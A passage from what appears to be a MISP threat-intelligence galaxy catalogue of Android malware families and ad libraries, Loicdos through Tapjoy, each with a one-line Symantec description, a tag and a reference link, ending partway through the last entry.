https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0348-99

Loicdos

Loicdos is an Android application that provides an interface to a website in order to perform a denial of service (DoS) attack against a computer.

The tag is: misp-galaxy:android="Loicdos"

Table 238. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022002-2431-99

Loozfon

Loozfon is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Loozfon"

Table 239. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082005-5451-99

Lotoor

Lotoor is a generic detection for hack tools that exploit vulnerabilities in order to gain root privileges on compromised Android devices.

The tag is: misp-galaxy:android="Lotoor"

Table 240. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091922-4449-99

Lovespy

Lovespy is a Trojan horse for Android devices that steals information from the device.

The tag is: misp-galaxy:android="Lovespy"

Table 241. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071814-3805-99

Lovetrap

Lovetrap is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: misp-galaxy:android="Lovetrap"

Table 242. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072806-2905-99

Luckycat

Luckycat is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: misp-galaxy:android="Luckycat"

Table 243. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080617-5343-99

Machinleak

Machinleak is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Machinleak"

Table 244. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120311-2440-99

Maistealer

Maistealer is a Trojan that steals information from Android devices.

The tag is: misp-galaxy:android="Maistealer"

Table 245. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072411-4350-99

Malapp

Malapp is a generic detection for many individual but varied threats on Android devices that share similar characteristics.

The tag is: misp-galaxy:android="Malapp"

Table 246. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-073014-3354-99

Malebook

Malebook is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Malebook"

Table 247. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071206-3403-99

Malhome

Malhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Malhome"

Table 248. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071118-0441-99

Malminer

Malminer is a Trojan horse for Android devices that mines cryptocurrencies on the compromised device.

The tag is: misp-galaxy:android="Malminer"

Table 249. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032712-3709-99

Mania

Mania is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: misp-galaxy:android="Mania"

Table 250. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070623-1520-99

Maxit

Maxit is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals certain information and uploads it to a remote location.

The tag is: misp-galaxy:android="Maxit"

Table 251. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120411-2511-99

MdotM

MdotM is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="MdotM"

Table 252. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5824-99

Medialets

Medialets is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Medialets"

Table 253. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5222-99

Meshidden

Meshidden is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: misp-galaxy:android="Meshidden"

Table 254. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031913-5257-99

Mesploit

Mesploit is a tool for Android devices used to create applications that exploit the Android Fake ID vulnerability.

The tag is: misp-galaxy:android="Mesploit"

Table 255. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032014-2847-99

Mesprank

Mesprank is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Mesprank"

Table 256. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030717-1933-99

Meswatcherbox

Meswatcherbox is a spyware application for Android devices that forwards SMS messages without the user knowing.

The tag is: misp-galaxy:android="Meswatcherbox"

Table 257. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-2736-99

Miji

Miji is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Miji"

Table 258. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4720-99

Milipnot

Milipnot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Milipnot"

Table 259. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070414-0941-99

MillennialMedia

MillennialMedia is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="MillennialMedia"

Table 260. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4602-99

Mitcad

Mitcad is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Mitcad"

Table 261. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040212-0528-99

MobClix

MobClix is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="MobClix"

Table 262. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4011-99

MobFox

MobFox is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="MobFox"

Table 263. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-3050-99

Mobidisplay

Mobidisplay is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Mobidisplay"

Table 264. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-0435-99

Mobigapp

Mobigapp is a Trojan horse for Android devices that downloads applications disguised as system updates.

The tag is: misp-galaxy:android="Mobigapp"

Table 265. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062520-5802-99

MobileBackup

MobileBackup is a spyware application for Android devices that monitors the affected device.

The tag is: misp-galaxy:android="MobileBackup"

Table 266. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-0040-99

Mobilespy

Mobilespy is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Mobilespy"

Table 267. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071512-0653-99

Mobiletx

Mobiletx is a Trojan horse for Android devices that steals information from the compromised device. It may also send SMS messages to a premium-rate number.

The tag is: misp-galaxy:android="Mobiletx"

Table 268. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052807-4439-99

Mobinaspy

Mobinaspy is a spyware application for Android devices that can track the device’s location.

The tag is: misp-galaxy:android="Mobinaspy"

Table 269. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-0511-99

Mobus

Mobus is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Mobus"

Table 270. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2006-99

MobWin

MobWin is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="MobWin"

Table 271. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1522-99

Mocore

Mocore is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Mocore"

Table 272. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-092112-4603-99

Moghava

Moghava is a Trojan horse for Android devices that modifies images that are stored on the device.

The tag is: misp-galaxy:android="Moghava"

Table 273. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022712-2822-99

Momark

Momark is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Momark"

Table 274. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-5529-99

Monitorello

Monitorello is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: misp-galaxy:android="Monitorello"

Table 275. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-4737-99

Moolah

Moolah is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Moolah"

Table 276. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1007-99

MoPub

MoPub is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="MoPub"

Table 277. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-2456-99

Morepaks

Morepaks is a Trojan horse for Android devices that downloads remote files and may display advertisements on the compromised device.

The tag is: misp-galaxy:android="Morepaks"

Table 278. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071204-1130-99

Nandrobox

Nandrobox is a Trojan horse for Android devices that steals information from the compromised device. It also deletes certain SMS messages from the device.

The tag is: misp-galaxy:android="Nandrobox"

Table 279. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070212-2132-99

Netisend

Netisend is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Netisend"

Table 280. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080207-1139-99

Nickispy

Nickispy is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Nickispy"

Table 281. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072714-3613-99

Notcompatible

Notcompatible is a Trojan horse for Android devices that acts as a proxy.

The tag is: misp-galaxy:android="Notcompatible"

Table 282. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050307-2712-99

Nuhaz

Nuhaz is a Trojan horse for Android devices that may intercept text messages on the compromised device.

The tag is: misp-galaxy:android="Nuhaz"

Table 283. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-3416-99

Nyearleaker

Nyearleaker is a Trojan horse program for Android devices that steals information.

The tag is: misp-galaxy:android="Nyearleaker"

Table 284. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010514-0844-99

Obad

Obad is a Trojan horse for Android devices that opens a back door, steals information, and downloads files. It also sends SMS messages to premium-rate numbers and spreads malware to Bluetooth-enabled devices.

The tag is: misp-galaxy:android="Obad"

Table 285. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060411-4146-99

Oneclickfraud

Oneclickfraud is a Trojan horse for Android devices that attempts to coerce a user into paying for a pornographic service.

The tag is: misp-galaxy:android="Oneclickfraud"

Table 286. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011205-4412-99

Opfake

Opfake is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers.

The tag is: misp-galaxy:android="Opfake"

Table 287. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-2732-99

Opfake.B

Opfake.B is a Trojan horse for the Android platform that may receive commands from a remote attacker to perform various functions.

The tag is: misp-galaxy:android="Opfake.B"

Table 288. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022406-1309-99

Ozotshielder

Ozotshielder is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Ozotshielder"

Table 289. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091505-3230-99

Pafloat

Pafloat is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Pafloat"

Table 290. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-2015-99

PandaAds

PandaAds is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="PandaAds"

Table 291. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1959-99

Pandbot

Pandbot is a Trojan horse for Android devices that may download more files onto the device.

The tag is: misp-galaxy:android="Pandbot"

Table 292. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071215-1454-99

Pdaspy

Pdaspy is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: misp-galaxy:android="Pdaspy"

Table 293. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-0749-99

Penetho

Penetho is a hacktool for Android devices that can be used to crack the WiFi password of the router that the device is using.

The tag is: misp-galaxy:android="Penetho"

Table 294. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100110-3614-99

Perkel

Perkel is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: misp-galaxy:android="Perkel"

Table 295. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-082811-4213-99

Phimdropper

Phimdropper is a Trojan horse for Android devices that sends and intercepts incoming SMS messages.

The tag is: misp-galaxy:android="Phimdropper"

Table 296. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021002-2943-99

Phospy

Phospy is a Trojan horse for Android devices that steals confidential information from the compromised device.

The tag is: misp-galaxy:android="Phospy"

Table 297. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060706-4803-99

Piddialer

Piddialer is a Trojan horse for Android devices that dials premium-rate numbers from the compromised device.

The tag is: misp-galaxy:android="Piddialer"

Table 298. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111020-2247-99

Pikspam

Pikspam is a Trojan horse for Android devices that sends spam SMS messages from the compromised device.

The tag is: misp-galaxy:android="Pikspam"

Table 299. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121815-0336-99

Pincer

Pincer is a Trojan horse for Android devices that steals confidential information and opens a back door on the compromised device.

The tag is: misp-galaxy:android="Pincer"

Table 300. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052307-3530-99

Pirator

Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device.

The tag is: misp-galaxy:android="Pirator"

Table 301. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-021609-5740-99

Pjapps

Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server.

The tag is: misp-galaxy:android="Pjapps"

Table 302. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-022303-3344-99

Pjapps.B

Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Pjapps.B"

Table 303. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032014-1624-99

Pletora

Pletora is a is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device.

The tag is: misp-galaxy:android="Pletora"

Table 304. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061217-4345-99

Poisoncake

Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information.

The tag is: misp-galaxy:android="Poisoncake"

Table 305. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-010610-0726-99

Pontiflex

Pontiflex is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Pontiflex"

Table 306. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-0946-99

Positmob

Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers.

The tag is: misp-galaxy:android="Positmob"

Table 307. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111409-1556-99

Premiumtext

Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace.

The tag is: misp-galaxy:android="Premiumtext"

Table 308. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080213-5308-99

Pris

Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device.

The tag is: misp-galaxy:android="Pris"

Table 309. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061820-5638-99

Qdplugin

Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Qdplugin"

Table 310. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102510-3330-99

Qicsomos

Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: misp-galaxy:android="Qicsomos"

Table 311. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011007-2223-99

Qitmo

Qitmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Qitmo"

Table 312. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030716-4923-99

Rabbhome

Rabbhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Rabbhome"

Table 313. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-053007-3750-99

Repane

Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device.

The tag is: misp-galaxy:android="Repane"

Table 314. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090411-5052-99

Reputation.1

Reputation.1 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: misp-galaxy:android="Reputation.1"

Table 315. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022612-2619-99

Reputation.2

Reputation.2 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: misp-galaxy:android="Reputation.2"

Table 316. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-2629-99

Reputation.3

Reputation.3 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: misp-galaxy:android="Reputation.3"

Table 317. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-3126-99

RevMob

RevMob is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="RevMob"

Table 318. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040308-0502-99

Roidsec

Roidsec is a Trojan horse for Android devices that steals confidential information.

The tag is: misp-galaxy:android="Roidsec"

Table 319. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052022-1227-99

Rootcager

Rootcager is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Rootcager"

Table 320. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-030212-1438-99

Rootnik

Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps.

The tag is: misp-galaxy:android="Rootnik"

Rootnik has relationships with:

similar: misp-galaxy:malpedia="Rootnik" with estimative-language:likelihood-probability="likely"

Table 321. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-062710-0328-99

Rufraud

Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: misp-galaxy:android="Rufraud"

Table 322. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121306-2304-99

Rusms

Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: misp-galaxy:android="Rusms"

Table 323. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061711-5009-99

Samsapo

Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files.

The tag is: misp-galaxy:android="Samsapo"

Table 324. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050111-1908-99

Sandorat

Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information.

The tag is: misp-galaxy:android="Sandorat"

Table 325. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-110720-2146-99

Sberick

Sberick is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Sberick"

Table 326. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071014-2146-99

Scartibro

Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it.

The tag is: misp-galaxy:android="Scartibro"

Table 327. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-080718-2038-99

Scipiex

Scipiex is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Scipiex"

Table 328. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100814-4702-99

Selfmite

Selfmite is a worm for Android devices that spreads through SMS messages.

The tag is: misp-galaxy:android="Selfmite"

Table 329. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070111-5857-99

Selfmite.B

Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages.

The tag is: misp-galaxy:android="Selfmite.B"

Table 330. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101013-4717-99

SellARing

SellARing is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="SellARing"

Table 331. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-3157-99

SendDroid

SendDroid is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="SendDroid"

Table 332. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-2111-99

Simhosy

Simhosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Simhosy"

Table 333. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061013-3955-99

Simplocker

Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: misp-galaxy:android="Simplocker"

Table 334. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060610-5533-99

Simplocker.B

Simplocker.B is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: misp-galaxy:android="Simplocker.B"

Table 335. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072317-1950-99

Skullkey

Skullkey is a Trojan horse for Android devices that gives the attacker remote control of the compromised device to perform malicious activity.

The tag is: misp-galaxy:android="Skullkey"

Table 336. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072322-5422-99

Smaato

Smaato is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Smaato"

Table 337. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052622-1755-99

Smbcheck

Smbcheck is a hacktool for Android devices that can trigger a Server Message Block version 2 (SMBv2) vulnerability and may cause the target computer to crash.

The tag is: misp-galaxy:android="Smbcheck"

Table 338. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-5634-99

Smsblocker

Smsblocker is a generic detection for threats on Android devices that block the transmission of SMS messages.

The tag is: misp-galaxy:android="Smsblocker"

Table 339. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081607-4001-99

Smsbomber

Smsbomber is a program that can be used to send messages to contacts on the device.

The tag is: misp-galaxy:android="Smsbomber"

Table 340. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112611-5837-99

Smslink

Smslink is a Trojan horse for Android devices that may send malicious SMS messages from the compromised device. It may also display advertisements.

The tag is: misp-galaxy:android="Smslink"

Table 341. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112600-3035-99

Smspacem

Smspacem is a Trojan horse that may send SMS messages from Android devices.

The tag is: misp-galaxy:android="Smspacem"

Table 342. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-052310-1322-99

SMSReplicator

SMSReplicator is a spying utility that will secretly transmit incoming SMS messages to another phone of the installer’s choice.

The tag is: misp-galaxy:android="SMSReplicator"

Table 343. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-110214-1252-99

Smssniffer

Smssniffer is a Trojan horse that intercepts SMS messages on Android devices.

The tag is: misp-galaxy:android="Smssniffer"

Table 344. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071108-3626-99

Smsstealer

Smsstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Smsstealer"

Table 345. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121514-0214-99

Smstibook

Smstibook is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: misp-galaxy:android="Smstibook"

Table 346. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051207-4833-99

Smszombie

Smszombie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Smszombie"

Table 347. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082011-0922-99

Snadapps

Snadapps is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Snadapps"

Table 348. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071807-3111-99

Sockbot

Sockbot is a Trojan horse for Android devices that creates a SOCKS proxy on the compromised device.

The tag is: misp-galaxy:android="Sockbot"

Table 349. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-101314-1353-99

Sockrat

Sockrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Sockrat"

Sockrat has relationships with:

similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 350. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-110509-4646-99

Sofacy

Sofacy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Sofacy"

Sofacy has relationships with:

similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"

Table 351. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-010508-5201-99

Sosceo

Sosceo is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Sosceo"

Table 352. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040408-0609-99

Spitmo

Spitmo is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Spitmo"

Table 353. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091407-1435-99

Spitmo.B

Spitmo.B is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Spitmo.B"

Table 354. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-0445-99

Spyagent

Spyagent is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: misp-galaxy:android="Spyagent"

Table 355. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090710-1836-99

Spybubble

Spybubble is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.

The tag is: misp-galaxy:android="Spybubble"

Table 356. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121917-0335-99

Spydafon

Spydafon is a Potentially Unwanted Application for Android devices that monitors the affected device.

The tag is: misp-galaxy:android="Spydafon"

Table 357. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030722-4740-99

Spymple

Spymple is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: misp-galaxy:android="Spymple"

Table 358. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-5403-99

Spyoo

Spyoo is a spyware program for Android devices that records and sends certain information to a remote location.

The tag is: misp-galaxy:android="Spyoo"

Table 359. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081709-0457-99

Spytekcell

Spytekcell is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: misp-galaxy:android="Spytekcell"

Table 360. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121021-0730-99

Spytrack

Spytrack is a spyware program for Android devices that periodically sends certain information to a remote location.

The tag is: misp-galaxy:android="Spytrack"

Table 361. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080109-5710-99

Spywaller

Spywaller is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Spywaller"

Table 362. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-121807-0203-99

Stealthgenie

Stealthgenie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Stealthgenie"

Table 363. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111416-1306-99

Steek

Steek is a potentially unwanted application that is placed on a download website for Android applications and disguised as popular applications.

The tag is: misp-galaxy:android="Steek"

Table 364. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010911-3142-99

Stels

Stels is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Stels"

Table 365. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032910-0254-99

Stiniter

Stiniter is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: misp-galaxy:android="Stiniter"

Table 366. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030903-5228-99

Sumzand

Sumzand is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: misp-galaxy:android="Sumzand"

Table 367. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080308-2851-99

Sysecsms

Sysecsms is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Sysecsms"

Table 368. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-122714-5228-99

Tanci

Tanci is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Tanci"

Table 369. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4108-99

Tapjoy

Tapjoy is an advertisement library that is bundled with certain Android applications.

